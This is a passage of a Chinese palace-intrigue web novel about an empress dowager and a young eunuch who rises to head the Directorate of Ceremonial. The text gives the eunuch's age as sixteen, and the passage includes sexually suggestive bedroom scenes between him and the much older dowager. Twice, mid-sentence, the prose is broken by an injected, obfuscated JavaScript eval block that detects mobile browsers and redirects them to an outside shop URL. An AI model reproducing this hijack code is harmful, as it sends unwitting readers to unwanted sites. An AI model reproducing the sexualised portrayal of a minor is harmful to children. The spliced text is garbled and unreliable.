是,他们之间早已突破了那层界限,夜晚的放纵,清晨的纠缠,并非没有过。可那更多是情欲的沉沦,是权力交织下的宣泄,或是他别有用心的讨好。从未像此刻这般,被他用如此不加掩饰,甚至带着点促狭和笃定的口吻,直截了当地戳破她可能存在的渴望。 这让她感觉自己像个……像个急不可耐的深宫怨妇,虽然他说的未必不是事实,方才那一瞬间,看着他毫无防备的睡颜,对比着彼此年龄的差距,那复杂心绪翻滚间,未必没有一丝被岁月催逼出对鲜活温暖的掠夺性占有欲。但想是一回事,被这样明晃晃说出来,尤其是被他这样一个小她二十多岁的少年宦官说出来,简直…… 羞愤难当! “你胡吣什么!”郑书意恼羞成怒,仲手去推他压下来的胸膛,指尖触到他中衣下温热的肌理,像是被烫到般蜷缩了一下,“谁、谁想了!给哀家下去!没规没矩!” 她试图端起太后的架子,可嫣红的脸频,闪烁的眼神,还有那明显底气不足的呵斥,都让这份威严大打折扣。 关禧将她的反应尽收眼底,心头那股奇异的感觉愈发清晰。原来,高高在上,算无遗策的太后娘娘,也会有这般近似于寻常女子的羞恼情态。他低下头,凑到她烧红的耳边,温热的气息挑过她敏感的耳廓,声音里带上了毫不掩饰的笑意: “是是是,奴才胡吣。”他嘴上认错,动作却完全不是那么回事,一只手已然探入锦被,隔着那层柔软的浅樱粉寝衣,覆上了她腰侧,“是奴才想了。” 他的手掌温热,隔着丝绸布料摩挲着她腰间的软肉,力度不轻不重。 郑书意身体一颤,像是过电般,那股被他言语挑起的羞愤,被这直接的触碰搅散,化作更汹涌的暗流。她想斥责他放肆,想拍开他的手,可喉咙像是被什么堵住了,只逸出一声短促的轻哼。 那声音又娇又软,与她平日或威严或慵懒的语调截然不同,像是从喉咙深处被逼出来的,带着她自己都未曾察觉的媚意。 关禧听得心头一荡,眼底暗色更浓。他太熟悉她身体的反应了。那微微绷紧又瞬间酥软的腰肢,那骤然急促起来的呼吸,还有那双渐渐漫上水雾,不再躲闪,勾缠过来的杏眼……无一不在诉说着她的动情。 晨光透过帐子,在她晕红的颊边镀上一层柔和的绒光,几缕乌发贴在额角颈侧,寝衣领口因方才的挣动松散了些,露出一截精致的锁骨和下方若隐若现的饱满弧线。此刻的她,褪去了所有太后威仪,只是一个被情欲浸染的女人。 关禧喉结滚动,低下头,正要吻住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280327|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那嫣红唇瓣。 “叩、叩叩。” 不急不缓的三下叩门声。 紧接着,江嬷嬷足以让内殿听清的声音,在门外响起: “娘娘,您醒了吗?乾元殿孙副总管方才过来传话,陛下说今日午膳,想来永寿宫陪您用。还说有桩关于内库年节开支的事儿,想顺道请教娘娘。” 话音落下,寝殿内霎时一片死寂。 关禧的动作僵在半空,离郑书意的唇瓣仅剩寸许距离,他眼底翻涌的情欲被瞬间冰封,身体某处,硬生生卡在不上不下的境地,比直接的冷水浇头更令人憋闷。 皇帝要来。偏偏是这个时候。 郑书意眼中的迷蒙水雾也以肉眼可见的速度褪去,脸上的红晕尚未完全消散,但神色已然不同。 她立刻就做出了反应。 一只手抵在了关禧结实的胸膛上,将他推开,另一只手则拢了拢自己散开的寝衣领口,指尖划过锁骨,将那点泄露的春光严严实实掩了回去。 “知道了。告诉皇帝,哀家这儿午时备膳。内库的事,让他把条陈带来。” “是,娘娘。”江嬷嬷应了一声,脚步声远去。 帐内重新安静下来,方才那点缠绵的温度已荡然无存。 关禧被推开,维持着半撑的姿势,胸口起伏,盯着身下的郑书意。她已侧过脸,避开了他的视线,目光落在帐顶繁复的绣纹上,侧脸线条在朦胧光线下显得有些冷硬。 一股无名火混合着未消的欲念和某种深沉的屈辱感,窜上关禧的心头。又是这样。每次都是这样。在她心里,他永远排在那至高无上的皇权之后,排在她与皇帝之间那微妙的博弈之后。需要时召之即来,一旦涉及前朝,涉及皇帝,便能毫不犹豫地将他推开,仿佛他只是一件可以随时搁置的玩物。 按照以往,这种时候,郑书意多半会冷冷瞥他一眼,或许还会带着讥诮说两句没眼色,不知分寸之类的话,让他认清自己的位置,然后打发他离开。 关禧抿紧了唇,下颌线紧绷,正准备自己起身,不再自取其辱。 一只微凉柔软的手,抚上了他的脸颊。 关禧浑身一僵。 他转过视线,郑书意那双杏眼里没有了方才情动时的水光,也没有了平日训诫时的凌厉。她的指尖摩挲着他紧绷的颌线,沿着那清晰的轮廓移动。 “瞧你,”她开口,语气是刚才吩咐江嬷嬷时截然不同的软和,“嘴撅得能挂油瓶了。” 关禧没吭声,眼底的戾气未散,混合着一丝不易察觉的怔忡。 郑书意的手指滑到他紧抿的唇畔,用指腹按了按那抿得发白的唇线,试图将它揉开一点弧度。她的目光与他胶着,声音更柔了些: “急什么?嗯?” “皇帝难得过来用顿午膳,不过是做给外头人看的场面事儿。他那点心思,哀家还不知道?借着内库开支的名头,无非是想探探哀家这边的口风,顺带……也看看你。” 她顿了顿,指尖停留在他唇角,若有深意地点了点:“你这副样子出去,是生怕皇帝瞧不出端倪,抓不到把柄?” 关禧的睫毛颤动了一下,胸口那团横冲直撞的火,在她这罕见的温言软语和细腻触碰下,竟消散了些许。 郑书意将他的变化看在眼里,眼底掠过一丝笑意。她收回手,就着这个极近的距离,仰起脸,凑到他耳边。 温热的气息混合着她身上独有的馨香,拂过他的耳廓,“乖乖的,先去外头候着。等晚上……等皇帝走了……” 她的话没有说完,但尾音微微上挑,带着无限的遐想空间。那未竟的话语,比直白的邀请更勾人心魄。与此同时,她那只原本抵在他胸前的手,也悄然下滑,隔着薄薄的中衣,在他紧绷的腰腹间,不轻不重地按揉了一下。 关禧身体猛地一震,喉结滚动,方才被强行压下的燥热,一下卷土重来,比之前更烈。他倏地抬眼,对上郑书意近在咫尺的眸子。 那双杏眼里,哪里还有半分温和?分明是看透他所有反应的了然,是游刃有余的掌控,是知道如何精准撩拨他,安抚他,又吊着他的深谙人心。可偏偏,在那片深不见底的掌控欲之下,又似乎真的藏着一丝因他此刻反应而生的愉悦。 她没像以前那样骂他,在哄他。 这比任何直接的责难或命令,都更让关禧心绪翻腾。像是一脚踩空,坠入她早已编织好的,柔软危险的网。 郑书意不再多言,拍了拍他的手臂:“去吧。让江嬷嬷进来伺候哀家梳洗。” 关禧闭了闭眼,再睁开时,眼底那些激烈的情绪已被强行压下,只余下一片沉沉的暗色。他起身,扯过昨夜丢在床尾的竹青色外袍,快速穿上。 系衣带时,指尖顿了顿,随即恢复如常。 穿戴好,他径直走到门边,拉开一道缝隙,侧身闪了出去。 帐内,郑书意独自躺在尚留有余温的锦褥间,听着外面传来关禧压低声音吩咐江嬷嬷,以及江嬷嬷和宫女们轻手轻脚进来的细微声响,抬手,抚上自己方才被他气息灼烫过的耳廓。 她勾了勾唇,笑容清浅。 111.第 111 章 接下来的日子,关禧确实明白了,也照办了。 太后的意志,成了他行事的最高准则,超越了皇帝的旨意。当然,在明面上,他永远是那个对陛下忠心耿耿,办事雷厉风行的关提督。只是在那些见不得光的阴影里,他的刀锋所指,偏转了方向。 后宫最先感受到这股凛冽的寒意。 先是玉芙宫那位新晋的柔妃徐宛白。失子之痛与幽禁之苦让她日渐癫狂,时常在宫中咒骂皇后,隐约传出对太后处置不公的怨怼。 不出半月,她宫中一名心腹宫女便被内缉事厂以窃盗宫中财物,散布谣言的罪名锁拿,严刑之下,供出柔妃曾私下焚烧诅咒皇后与太后的巫蛊人偶,并意图在饮食中下药谋害抚养皇子的乳母。 人证,屈打成招的宫女,物证,不知何时被放入玉芙宫妆匣底的人偶和一小包可疑药粉。 皇帝震怒,本欲严惩,太后却仁慈出面,称徐妃产后失心,神智昏乱,念其孕育皇嗣有功,褫夺妃位,降为最低等的采女,打入北三所冷宫,非死不得出。 徐家在前朝因此事备受攻讦,徐阶虽未立刻倒台,却已元气大伤,吏部左侍郎的位置摇摇欲坠。 紧接着,是几位平日里对永寿宫恭敬不足,或与皇后柳家走得稍近的低阶妃嫔。或是偶感风寒一病不起,药石罔效;或是不慎失足落水,香消玉殒;或是被揭发出与宫中侍卫眉目传情,私相授受,清白尽毁,一根白绫了结残生。 死因千奇百怪,但共同点是,她们都曾在某些场合,流露出对太后过于干预后宫,或是对皇后抚养皇子一事的不同看法。 内缉事厂的卷宗里,总能适时出现一些巧合的证据,将这些死亡或丑闻,钉成无可辩驳的意外或自寻死路。 关禧的手段,在这些事上展露得淋漓尽致。栽赃陷害,灭口伪造……厂卫无孔不入,宫人们的嘴被恐惧紧紧封住。双喜和贵平成了他最得力的执行者,而何璋,那位皇帝的耳目,在几次试图向乾元殿递送关于这些意外的疑点消息,却石沉大海,反接到太后含糊的申饬后,终于认清了风向,成为了关禧手中一把更听话的刀。 至少表面如此。 前朝的波澜,也随之暗涌。 都察院一位素以刚直敢言,屡次上书请求限制宦官权力的御史,某日被爆出早年科举曾有请托舞弊之嫌,尽管证据模糊,但名声已毁,在清流同僚异样的目光和接连的弹劾下,不得不引疾告退。 户部一位侍郎,因在核查太仓银库时对几笔流向永寿宫关联皇商的款项提出质疑,不久便因其子在家乡纵奴行凶,强占民田的案子被翻出,下了诏狱。 关禧亲自督办,侍郎在狱中悔不当初,签字画押,家产抄没,流放三千里。而那几笔有问题的款项,自然再也无人提起。 兵部一位主事,只因在酒桌上议论了一句“太后娘家郑氏在边镇过于势大”,三日后,便有人举报其与已被剿灭的白莲教余孽有书信往来。 厂卫在其书房隐秘处搜出数封密信,字迹竟有七八分相似。 主事百口莫辩,血溅刑部大牢。 关禧的名字,开始成为京城官场一个令人闻之色变的符号。他年轻俊美,手段却老辣阴毒至极。他不需要亲自动手,只需要一个眼神,一句暗示,自然有无数想巴结永寿宫或是畏惧内缉事厂的人,前仆后继地去罗织罪名,去制造铁证。 朝臣们私下称他为“玉面阎罗”,面上却不得不堆起谄媚的笑,尊一声“厂公”。 他的权势不再局限于宫墙之内。 内缉事厂的番役换上便装,便是京城最令人恐惧的密探。茶楼酒肆,青楼赌坊,官员府邸……处处都有他们的耳目。谁家昨夜宴请了谁,谁今早说了什么不该说的话,甚至哪家夫人与娘家兄弟往来过密,都可能成为下一刻出现在关督主案头的密报。京城,成了一张网,而执网之人,正是那个住在东安门内北那座森严衙署里的十六岁少年。 萧衍并非没有察觉。 他眼看着关禧的权势愈发膨胀,看着内缉事厂的手越伸越长,看着朝中原本一些还能发出不同声音的臣子要么闭嘴,要么消失。 他召见过关禧,问及几桩案子,关禧的回答永远滴水不漏,证据链完整得让人挑不出错处,态度恭顺得无可指摘。但他能感觉到,这个曾经在他面前还会流露一丝真实恐惧或野心的少年太监,眼底深处多了某种他难以完全掌控的东西。 萧衍尝试过制约。 他提拔了桑连云,让其深入参与漕运改制,授予密奏之权,隐隐有扶持其为制衡之意。 可桑连云递上的关于漕运弊案的奏折,尚未到御前,关禧那里便已有了更详尽的版本,其中巧妙地将桑连云指出的一些关键人物和证据模糊化,转而突出了另外几个无关紧要,与太后一系无涉的替罪羊。 桑连云在南方举步维艰,他的调查总是慢一步,他的弹劾总像打在棉花上。 萧衍对此心知肚明,无法公然为桑连云撑腰,因为关禧每次都能拿出法理依据和确凿证据,证明内缉事厂的处置符合规程,有利稳定。 碍于太后的面子,或者说,碍于太后手中那牢牢掌控着朝堂半数以上力量的庞大网络,他无法明着动关禧。他需要时间,需要契机,更需要一个能一举切断关禧与太后之间的纽带,而又不至于引发朝局剧烈动荡的办法。 而关禧的崛起之势,已不可阻挡。 * 永昌六年,冬。 第一场大雪落下时,一道震动朝野的旨意从宫中传出。 擢升内官监掌印太监,提督内缉事厂关禧,为司礼监掌印太监,仍兼管内缉事厂事。 司礼监掌印。 内廷二十四衙门之首,拥有批红之权,理论上可与内阁分庭抗礼的内相之位。历来此职非资历深厚,心腹重臣不能担任。 而关禧,年仅十六岁,入宫不过两年。 圣旨明发天下,给出的理由是“关禧勤勉王事,屡破奸宄,肃清宫闱有功,特加超擢,以励忠勤”。 冠冕堂皇,却掩不住背后的刀光剑影。 据说,皇帝在接到太后力主此议时,曾在乾元殿暖阁内沉默良久,最终只问了一句:“母后当真认为,此子堪当如此重任?” 太后彼时正在御花园赏梅,闻言,折下一枝红梅,嗅了嗅,淡笑道:“皇帝,用人不疑,疑人不用。关禧这孩子,懂事,能干,知道分寸。如今朝中宫里,都需要这样一把又快又稳的刀。让他坐在那个位置上,替皇帝看好家,不好么?” 替皇帝看好家?还是替太后看好皇帝? 萧衍没有说破。 前朝的阻力比想象中更小。 首辅柳文正称病不朝,几位阁老沉默不语。以徐阶倒台为标志,太后一系的官员早已占据要津。勋贵武臣大多只看太后眼色。剩下的清流言官,倒是有几个不怕死的上书死谏,痛陈宦官干政,祸乱朝纲之弊,措辞激烈。 然后,不过三日,那几位言官或卷入陈年旧案,或被爆出家风不谨,纷纷自顾不暇。 剩下的,便只剩下一片诡异的寂静。 关禧,成了有晟朝以来最年轻的司礼监掌印,兼领令人生畏的内缉事厂。 权势滔天,名副其实的一人之下,万万人之上。 私下里,已有人颤巍巍地,开始称他为“九千岁”。 而他,才刚刚过完十六岁的生辰。 站在司礼监那座比内官监更加恢弘肃穆的正堂里,关禧换上了那身象征内廷最高权柄的绯红绣蟒坐蟒服,头戴三山帽,腰间悬挂着司礼监掌印的金印和提督厂卫的铜符。镜中的少年,身姿挺拔,面容在华服的映衬下愈发俊美,那双丹凤眼里,再也找不到初入宫时的惶恐或隐忍,只剩下深潭般的沉寂。 这一切,是太后给他的。 用他的身体,他的忠诚,他手上洗不尽的血污,以及他那颗在无数次午夜梦回时,因想起楚玉而骤然绞痛的心,换来的。 他走到窗边,推开雕花木窗。寒风卷着雪沫扑进来,远处宫殿层层叠叠的琉璃瓦上积着皑皑白雪,在冬日稀薄的阳光下反射着刺目的光。 九千岁。 关禧嗤笑了一声,呵出的白气迅速消散在冷空气中。 路还很长。皇帝不会永远沉默,太后也不会永远满足于现状。而他,这个被强行推到权力巅峰的九千岁,不过是这两股巨力之间,一颗更为醒目,也更为危险的棋子。 他关上了窗。 堂内,鎏金香炉中,昂贵的龙涎香燃烧,气息馥郁,压着这间象征着内廷至高权力的厅堂。 走到宽大的紫檀木公案后坐下,指尖拂过案面,上面已整齐堆叠着今日待批的奏章文书与厂卫密报,他刚端起手边温度恰好的雨前龙井,尚未送至唇边。 “督主!” 一声压抑着急促的呼唤在堂外响起,双喜趔趄着抢步进来,忘了平日最讲究的规矩,他快步走到案前,气息未匀便压低声音急道:“督主,承华宫那边递了消息出来。” 承华宫。 关禧端着茶杯的手一颤,杯盖与杯沿发出一声刺耳的磕碰声,在这过分安静的厅堂里清晰可闻。 楚玉。 这个名字,连同那个沉静如古井的身影,这几个月来被他用无数血腥的案卷,诡谲的算计,以及太后无处不在的视线,死死压在意识最深处,不敢触碰,不敢想起。他甚至刻意回避一切与承华宫相关的公务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280897|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将其划归何璋处理,自己绝不轻易过问。 太后说得对,那是他的死穴,他得藏好,护稳。而藏好的第一步,就是远离。他做到了。用疯狂的揽权和效忠,向太后证明他的懂事和有用。太后显然颇为满意,这司礼监掌印的椅子,便是明证。 可现在,承华宫的消息,就这么突兀地,被双喜带了进来。 关禧垂下眼,浓密的睫毛遮住了翻涌的惊涛骇浪,他强迫自己的视线落在杯中荡漾的澄绿茶汤上,深吸了一口那清雅的茶香。 “慌什么?承华宫递消息,是冯昭仪娘娘有何吩咐,还是底下人不懂规矩,冲撞了厂卫的巡查?这等小事,也值得你失了体统?” 他刻意将事情往最寻常,最公务的方向引。 双喜被他这平静的态度慑得一怔,随即意识到自己的失态,稳了稳心神:“不是公事……督主,是、是青黛姑娘……她病了,病得有些重。承华宫私下递话的人说,姑娘不让声张,但……但烧得厉害,几日未退,人也昏沉。冯昭仪娘娘请了太医,药也用了,却不见大好,反倒……咳血了。” 病了?重病?咳血? 楚玉那样一个人,清冷,自制,像山巅的雪,崖边的松,怎么会……怎么会轻易病倒?还到了咳血的地步? 是积劳成疾?是忧思过重?还是……因为他的疏远,他的听话,他的杳无音讯? 无数个念头裹挟着自责和恐惧,要将他淹没。他想要站起来,下令备轿,不顾一切地冲向承华宫。 可是,不能。 太后的眼睛,或许就在这厅堂的某个角落看着他。皇帝那边,恐怕也乐得见他为了一个女人方寸大乱。他如今是司礼监掌印,是太后手中最锋利也最醒目的刀。他的一举一动,牵动无数目光,也关系着太后对他的满意与否。 太后暂时保着楚玉的命,前提是,他够听话。而听话就包括,远离她。 他现在若是表现出对楚玉病情的丝毫过度关切,亲自前往探视,之前所有的忍耐和表演,都可能功亏一篑。太后会怎么想?皇帝会怎么做?那些暗处的眼睛,会如何将此事渲染上奏? “冯昭仪娘娘仁厚,既已请了太医,想必悉心诊治。内厂事务繁杂,后宫嫔妃玉体违和,自有太医院和承华宫操心。这等消息,日后不必特地来报。” 双喜愕然抬头,看向关禧。 他跟在关禧身边最久,亲眼见过督主是如何在深夜对着一支素玉簪出神,如何因为承华宫一点风吹草动就心绪不宁,如何在太后面前豁出一切只为保那人平安……可现在,听到青黛姑娘病重咳血,督主竟然如此冷淡? 但触及关禧那双毫无波澜的眼,他打了个寒颤,明白了什么。他想起这几个月督主是如何在血雨腥风中行走,想起永寿宫那道无形的枷锁,想起这司礼监大堂外可能存在的无数耳朵。 “是……奴才明白了。是奴才莽撞,不该拿这些琐事打扰督主。奴才这就……” “等等。”关禧打断他。 双喜心头一跳。 茶杯放回案上,关禧的目光落在案头一份文书上,指尖捻着纸张边缘,声音压得极低,确保只有近在咫尺的双喜能听清:“去太医署,找院判周时安。就说本督近日案牍劳形,偶感风寒,听闻他有一剂调理虚劳、清肺止咳的秘方,颇为有效,让他配了送来。药材务必要用最好的,分量足些。” 他想了想,抬眼,看向双喜:“你亲自去办。方子拿到后,不必送回司礼监,直接交给承华宫小厨房负责煎药的婆子,就说是冯昭仪娘娘体恤宫人,特赐的时疫预防汤剂,让她们按方煎了,分给宫人们服用,尤其是近身伺候、体弱些的。” 每一句话,都包裹在严密的公务或寻常赏赐的外衣之下。关切藏得深不见底,连传递的路径都拐了又拐。 双喜领会,“奴才明白!定将督主……将太医署的关怀,妥帖送到!” 关禧挥了挥手。 双喜躬身退下,脚步比来时更轻。 厅堂内重新恢复了寂静。 关禧独自坐在偌大的公案后,绯红的坐蟒袍衬得他脸色愈发苍白。他靠向椅背,闭上眼,方才强撑的平静瞬间瓦解,疲惫和某种尖锐的痛楚爬上眉心。 楚玉…… 这隐秘的送药,不过是杯水车薪,是隔靴搔痒,是他懦弱无能的自欺欺人。他不敢去见她,不敢亲自确认她的安危,不敢让自己的关切露出丝毫马脚。 他如今拥有滔天权势,一句呵斥可令朝臣股栗,一道命令可决人生死。可他却连光明正大关心一个人的资格都没有。 这九千岁的尊荣,这司礼监掌印的威势,就像一副镣铐,将他锁在这金玉其外的囚笼里,寸步难行。 112.第 112 章 窗外的雪,下得更大了。 寒风掠过殿宇,发出呜咽般的声响,卷起殿檐下未扫净的细雪,扑在紧闭的菱花窗格上,沙沙作响,更衬得这司礼监正堂内死寂般的空旷。 鎏金香炉里的龙涎香燃到了尾调,气息愈发沉郁。 关禧在宽大的紫檀木公案后坐着,直到廊下更鼓敲过申正,殿内光线昏昧下来,才吐出一口滞涩的气息。 案头的奏章密报已批阅整理完毕,朱笔搁在青玉笔山上,残留的朱砂似凝固的血。 “督主。”双喜的声音在门外响起,“戌时了,该用膳了。奴才让小厨房备了您惯用的几样清淡小菜,和粳米粥,一直温在灶上。” 关禧抬手,捏了捏眉心,那里绷得发疼。 “嗯。”他应了一声。 双喜这才推门进来,身后跟着两个垂头敛目的小内侍,把小圆桌抬到堂侧暖阁里,摆上四碟清爽小菜并一碗熬得米油浓厚的粳米粥,碗碟皆是上好的甜白釉,素净雅致。 关禧起身,走到暖阁坐下。菜式简单,清炒豆苗,鸡丝拌黄瓜,火腿蒸豆腐,还有一碟御田胭脂米做的素斋饭团。都是他平日里偏好的口味,他执起乌木镶银的筷子,慢慢吃着。 双喜垂手立在一旁伺候,觑着他平静的侧脸,欲言又止。方才送药的事,他已办妥,周院判听闻是督主偶感风寒需调理,极为殷勤,不仅配了最好的药材,还额外添了几味温补的珍品,药包捆扎得整整齐齐,他已按吩咐送去了承华宫小厨房。可督主自听了那消息后,便是这般模样,看似如常,可那双眼里深不见底的黑,让他心里揪着,发慌。 饭毕,碗筷撤下。双喜又捧来一个巴掌大的甜白釉小炖盅,揭开盖子,一股略带苦味的药香混着参茸的醇厚气息便弥漫开来。 “督主,培元固本汤好了,温度正宜。”双喜将炖盅放在关禧手边。 关禧的目光落在那盅深褐色的汤药上。这是当年在承华宫,冯昭仪让那位精于调理的张太医亲手为他调配的方子。自他离开承华宫,这每日一碗的汤药从未间断,冯昭仪甚至将方子和一个惯于煎药的稳妥老太监一并送到了他身边。方子说是专为内侍调理,固本培元,强健筋骨,滋养元气,于日后长久侍奉,大有裨益。 日后侍奉……关禧唇角扯动了一下,不知是讽是苦。他端起炖盅,仰头,温热的药汁一饮而尽。苦涩的味道从舌尖蔓延至喉咙,带着人参微甘的回味,熨帖着空乏的脾胃,也在提醒他这具身体被赋予的用途和需要保持的状态。 用清茶漱了口,关禧在暖阁的矮榻上靠了片刻。窗外天色已黑透,雪光映着宫灯,在窗纸上投下斑驳摇晃的光影。北风更紧了,呼啸着穿过殿宇间的缝隙。 约莫歇了一炷香的时辰,他起身,走向后堂相连的浴房。 浴房不大,却极尽精巧。地上铺着防滑的香柏木板,靠墙砌着一个白石砌就的浴池,引的是温泉水,终日氤氲着湿润的热气。池边摆放着紫檀木的衣架和搁置浴具的小几,角落里一只错金螭兽香炉吐着清冽的苏合香气,驱散室内的潮闷。 关禧褪下身上绯红坐蟒袍,接着是中衣,直至一丝/不/挂。 他踏入池中,缓解着伏案一日后的僵硬。 良久,他才从水中出来,用细软的棉布巾拭干身体,又走到衣架前,取过一套早已备好质地极其柔软的云缎中衣。月白色的料子,触手生温,贴在微湿的皮肤上,舒适异常。外罩一件同色系略深些的竹青色交领广袖长袍,袍角与袖口用银线绣着流云纹,行动间若有若无流转。 墨黑的长发半干,他用一根简单的羊脂白玉簪松松挽起大半,余下几缕未束的发丝自然垂落颈侧。 当他这般模样从浴房走出时,一直候在外间的双喜抬眸一看,心里便咯噔一下,明白了。 督主这般穿戴,这般情态,不是要歇息,也不是要处理未完的公务。 这是……要去永寿宫了。 自督主晋升司礼监掌印,这般情形已非一次两次。起初双喜还懵懂,后来次数多了,再看督主每次从永寿宫回来后那难以掩饰的沉寂与偶尔身上遮掩不住的痕迹,他便隐隐猜到了些什么,那猜测让他心惊肉跳,又不敢深想。 他上前,接过关禧手中擦发的布巾,又取来一件玄色织金云纹的厚缎斗篷,仔细为他披上。 “督主,外头雪大,路上滑,奴才给您掌灯,多叫两个人跟着吧?”双喜低声问,手里已提起了那盏琉璃绣球灯。 “不必,你跟着就行。”关禧的声音平淡,他抬手,拉起斗篷的兜帽,遮住了大半张脸,只露出线条清晰的下颌和嫣红的唇。 双喜不敢多言,挑亮灯芯,琉璃灯罩内顿时散发出柔和的光晕,照亮前方一小片湿滑的雪地。 主仆二人一前一后,踏出了司礼监衙署温暖的门槛,步入茫茫雪夜。 雪更大了。 鹅毛般的雪片在呼啸的北风中狂舞。宫道两侧的积雪已有半尺厚,白日里扫出的路径又被新雪覆盖,踩上去咯吱作响。琉璃灯的光晕在密集的雪幕中显得微弱,仅能照亮脚下数步之地。远处宫殿的轮廓在风雪中模糊成一片混沌的暗影,只有零星几处还亮着灯火的殿宇。 关禧的脚步很稳,走在前面,斗篷下摆在身后曳动,扫过积雪。双喜紧跟在后,尽力将灯举高,为他照亮前路,自己却深一脚浅一脚,走得颇为艰难,冷风灌进领口,激得他直缩脖子。 四下寂静得可怕。巡夜的侍卫远远看到这盏特殊的琉璃灯和灯后那袭即便在夜色风雪中也难掩华贵的玄色斗篷,早已退避,躬身立在道旁,待他们走过,才敢悄悄抬眼,追随着那道没入雪幕的挺拔背影。 九千岁……这般时辰,这般天气,前往的方向,只能是那座矗立在皇宫深处,至高无上的宫殿。 永寿宫。 关于这位年轻掌印与太后之间种种难以言说的传闻,早已是宫闱内外心照不宣的秘密。 只是无人敢宣之于口。 双喜跟在后面,看着前方督主在风雪中显得有些孤寂的背影,又想起晚膳时他那平静水面下汹涌的暗流,想起那碗培元固本汤,心里那股说不清道不明的憋闷又涌了上来。 他嘴皮子动了动,终究没忍住,借着风声雪声的掩护,声音压得极低: “督主……张太医那方子,果然神妙。奴才瞧着,您这精气神,是一日比一日足……难怪……难怪太后娘娘那边,都离不得您了……” 话一出口,双喜自己先吓了一跳,恨不得把自己舌头咬掉。这话岂止是逾矩,简直是大逆不道,编排太后,窥探主上私隐,哪一条都够他死十次。 走在前面的关禧脚步顿了一瞬。 随即,他略略放慢了脚步,等到双喜忐忑不安跟得更近些时,忽然抬起手,曲起中指,在双喜恰好凑近的额头上,弹了一记。 “哎哟!”双喜没防备,低呼一声,捂住额头,那里红了一小片。并不很疼,更多的是惊吓。 “这话,”关禧的声音透过风雪传来,没什么起伏,“在我面前说说,便也罢了。若让我在外面听到半个字……” 双喜浑身一激灵,噗通跪倒在雪地里,也顾不得冰冷刺骨,连连磕头,“奴才该死!奴才失心疯了!胡言乱语!督主饶命!奴才再也不敢了!奴才这嘴巴,回去就自己缝上!” 关禧停下脚步,侧身,兜帽的阴影遮住了他大半神情,只露出抿紧的唇线。他垂眸,看着跪在雪中瑟瑟发抖的少年,片刻,才淡淡道:“起来。雪地里跪着,像什么样子。” 双喜如蒙大赦,连忙爬起来,身上已沾满了雪,也顾不上拍打,只低着头,再不敢吭声,老老实实举着灯,心里后怕不已,又涌起一阵酸楚。他知道督主不是真心要罚他,否则就不会只是弹一下额头。可正因如此,他才更觉得难受。督主待他,终究是与旁人不同的,可越是不同,他越该谨言慎行,不能给督主惹麻烦。 关禧转身继续前行,那藏在斗篷宽袖下的手,握紧,指尖陷入掌心。 离不得他? 是啊,太后离不得他这把好用的刀,离不得他这具年轻被精心调养的身体,离不得他这份看似彻底臣服的忠心。 而他,如今又何尝离得开太后的庇护,离得开这座用权力和屈辱堆砌起来的危楼? 雪,落满肩头。 永寿宫巍峨的轮廓,已在漫天风雪中渐渐清晰。宫门檐下悬挂的明黄宫灯在风雪中摇曳,那一片区域照得晕黄。 关禧在宫门前十余步处停下,抬手,拉下了兜帽。 风雪立刻扑打在他脸上,墨发飞扬,玉簪清冷。他仰起脸,望向那两扇雕刻着凤凰于飞图案的朱红宫门,眼底映着宫灯的光,也映着漫天风雪,深不见底。 然后,他迈步,朝着那片晕黄的光,朝着那扇门,走去。 值守宫门的太监早已不是上次那个冒失鬼,换了个脸生的中年宦官,裹着厚实的棉袍,揣着手,在檐下冻得跺脚。见到风雪中走来的人影,他起初还眯着眼辨认,待看清那张即便在昏暗光线下也过分昳丽的脸时,浑身一激灵,连滚爬地迎下台阶,扑通跪在雪地里: “奴、奴才给关掌印请安!掌印万福!” 关禧脚步未停,从斗篷下伸出那只戴着墨玉扳指的手,随意挥了挥。 太监如蒙大赦,起身,一边抖着身上的雪,一边小跑上前,用力推开宫门。 门轴发出“吱呀”声。 关禧踏入宫门。 永寿宫内,灯火通明,却静得出奇。廊下当值的宫女太监们,一个个垂手肃立,眼观鼻鼻观心。 无人阻拦,无人询问,无人敢抬头直视。 他们都知道他来做什么,或者说,知道太后允许他,期待他来做什么。这座宫殿里的一切,包括这些宫人,都在传达着一个信息:他,关禧,司礼监掌印,在这里拥有着某种超越规矩的特权。 他目不斜视,穿过前殿,绕过正堂,径直朝着寝殿后方那片更为私密,连寻常高阶妃嫔都不得轻易踏足的区域走去。路径熟稔得像是回自己的衙署。 越往里走,空气越发温润,那股醇厚馥郁的龙涎香气中,渐渐混入了一丝更清冽湿润的水汽和花香。 是浴堂的方向。 关禧的脚步加快了一丝。 转过最后一道雕花月洞门,眼前豁然开朗,是一处独立的小院,院中引了温泉水,即便在严冬,也氤氲着薄薄的雾气,几株耐寒的绿植上覆着晶莹的雪挂,在廊下宫灯和屋内透出的暖光映照下,宛如琉璃世界。正中一座殿宇,规制不大,却极精巧,门窗紧闭,温暖的橘色光晕从糊着高丽纸的窗格里透出来,朦朦胧胧。 这里,是永寿宫专属于太后的浴堂。 门口侍立着两名身着浅碧色宫装,容貌清秀的年轻宫女,见到关禧走近,两人迅速交换了一个眼神,随即齐齐躬身,脸上没有丝毫惊讶,只有全然的恭顺。 “掌印。”其中一名宫女轻声开口,声音柔婉,“娘娘正在沐浴。江嬷嬷吩咐了,若是掌印来了,可直接进去伺候。” 伺候。 